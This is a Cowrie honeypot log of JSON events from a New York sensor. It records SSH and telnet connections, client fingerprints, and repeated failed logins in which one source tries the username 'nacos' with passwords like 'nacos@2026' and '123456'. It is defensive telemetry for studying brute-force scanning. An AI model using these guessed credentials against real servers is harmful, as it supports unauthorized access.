{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":35590,"dst_ip":"10.17.0.5","dst_port":22,"session":"01d51b5e10b6","protocol":"ssh","message":"New connection: 36.253.9.69:35590 (10.17.0.5:22) [session: 01d51b5e10b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:20.913002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:20.921361Z","src_ip":"36.253.9.69","session":"01d51b5e10b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:21.163177Z","src_ip":"36.253.9.69","session":"01d51b5e10b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47970,"dst_ip":"159.203.135.109","dst_port":23,"session":"846b1022fa46","protocol":"telnet","message":"New connection: 38.60.198.128:47970 (159.203.135.109:23) [session: 846b1022fa46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:22.186416Z"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"nacos@2026","message":"login attempt [nacos/nacos@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:22.201267Z","src_ip":"36.253.9.69","session":"01d51b5e10b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:23.445872Z","src_ip":"36.253.9.69","session":"01d51b5e10b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":35594,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4751154b4db","protocol":"ssh","message":"New connection: 36.253.9.69:35594 (10.17.0.5:22) [session: e4751154b4db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:23.695624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:23.700655Z","src_ip":"36.253.9.69","session":"e4751154b4db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:23.952464Z","src_ip":"36.253.9.69","session":"e4751154b4db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"nacos@2026","message":"login attempt [nacos/nacos@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:25.031623Z","src_ip":"36.253.9.69","session":"e4751154b4db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":40674,"dst_ip":"10.17.0.5","dst_port":23,"session":"779ce2f5a86c","protocol":"telnet","message":"New connection: 45.81.23.16:40674 (10.17.0.5:23) [session: 779ce2f5a86c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:25.730932Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:26.290195Z","src_ip":"36.253.9.69","session":"e4751154b4db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":35606,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dcfd5ec7d74","protocol":"ssh","message":"New connection: 36.253.9.69:35606 (10.17.0.5:22) [session: 0dcfd5ec7d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:26.512225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:26.517164Z","src_ip":"36.253.9.69","session":"0dcfd5ec7d74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:26.755047Z","src_ip":"36.253.9.69","session":"0dcfd5ec7d74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"nacos@2025","message":"login attempt [nacos/nacos@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:27.779109Z","src_ip":"36.253.9.69","session":"0dcfd5ec7d74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:29.024788Z","src_ip":"36.253.9.69","session":"0dcfd5ec7d74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":53202,"dst_ip":"10.17.0.5","dst_port":22,"session":"df7cdd6c44fb","protocol":"ssh","message":"New connection: 36.253.9.69:53202 (10.17.0.5:22) [session: df7cdd6c44fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:29.264324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:29.268859Z","src_ip":"36.253.9.69","session":"df7cdd6c44fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:29.526502Z","src_ip":"36.253.9.69","session":"df7cdd6c44fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"nacos2025","message":"login attempt [nacos/nacos2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:30.567521Z","src_ip":"36.253.9.69","session":"df7cdd6c44fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35748,"dst_ip":"159.203.135.109","dst_port":23,"session":"3511553a1b32","protocol":"telnet","message":"New connection: 38.60.198.128:35748 (159.203.135.109:23) [session: 3511553a1b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:30.602608Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35992,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d573e7fd4e2","protocol":"telnet","message":"New connection: 38.60.198.128:35992 (159.203.135.109:23) [session: 1d573e7fd4e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:30.719606Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34832,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7edebe6acea","protocol":"telnet","message":"New connection: 38.60.198.128:34832 (159.203.135.109:23) [session: e7edebe6acea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:31.142281Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:31.812056Z","src_ip":"36.253.9.69","session":"df7cdd6c44fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":53212,"dst_ip":"10.17.0.5","dst_port":22,"session":"71e86173b3f7","protocol":"ssh","message":"New connection: 36.253.9.69:53212 (10.17.0.5:22) [session: 71e86173b3f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:32.053719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:32.070007Z","src_ip":"36.253.9.69","session":"71e86173b3f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:32.295492Z","src_ip":"36.253.9.69","session":"71e86173b3f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"nacos2026","message":"login attempt [nacos/nacos2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:33.253428Z","src_ip":"36.253.9.69","session":"71e86173b3f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.735187768936157,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:33.465846Z","src_ip":"45.81.23.16","session":"779ce2f5a86c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":40590,"dst_ip":"159.203.135.109","dst_port":23,"session":"793b689c474c","protocol":"telnet","message":"New connection: 38.60.198.128:40590 (159.203.135.109:23) [session: 793b689c474c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:33.803533Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:34.484864Z","src_ip":"36.253.9.69","session":"71e86173b3f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":53224,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0757e727acc","protocol":"ssh","message":"New connection: 36.253.9.69:53224 (10.17.0.5:22) [session: a0757e727acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:34.716175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:34.721591Z","src_ip":"36.253.9.69","session":"a0757e727acc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:34.959100Z","src_ip":"36.253.9.69","session":"a0757e727acc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"nacos@123","message":"login attempt [nacos/nacos@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:35.996972Z","src_ip":"36.253.9.69","session":"a0757e727acc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:37.240051Z","src_ip":"36.253.9.69","session":"a0757e727acc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45324,"dst_ip":"159.203.135.109","dst_port":23,"session":"33ed99c0544e","protocol":"telnet","message":"New connection: 38.60.198.128:45324 (159.203.135.109:23) [session: 33ed99c0544e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:37.379197Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":40054,"dst_ip":"10.17.0.5","dst_port":22,"session":"913a34090bcc","protocol":"ssh","message":"New connection: 36.253.9.69:40054 (10.17.0.5:22) [session: 913a34090bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:37.469539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:37.474028Z","src_ip":"36.253.9.69","session":"913a34090bcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:37.712929Z","src_ip":"36.253.9.69","session":"913a34090bcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46862,"dst_ip":"159.203.135.109","dst_port":23,"session":"c712fa5a0f3e","protocol":"telnet","message":"New connection: 38.60.198.128:46862 (159.203.135.109:23) [session: c712fa5a0f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:38.309980Z"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"123456","message":"login attempt [nacos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:38.747329Z","src_ip":"36.253.9.69","session":"913a34090bcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.30145001411438,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:39.404474Z","src_ip":"38.60.198.128","session":"4df7683a307e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.69231581687927,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:39.567419Z","src_ip":"38.60.198.128","session":"fd27db99a4e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:39.989202Z","src_ip":"36.253.9.69","session":"913a34090bcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":40062,"dst_ip":"10.17.0.5","dst_port":22,"session":"a555f808b7f5","protocol":"ssh","message":"New connection: 36.253.9.69:40062 (10.17.0.5:22) [session: a555f808b7f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:40.215231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:40.219229Z","src_ip":"36.253.9.69","session":"a555f808b7f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:40.448828Z","src_ip":"36.253.9.69","session":"a555f808b7f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51612,"dst_ip":"159.203.135.109","dst_port":23,"session":"080fe341f8a0","protocol":"telnet","message":"New connection: 38.60.198.128:51612 (159.203.135.109:23) [session: 080fe341f8a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:41.222318Z"}
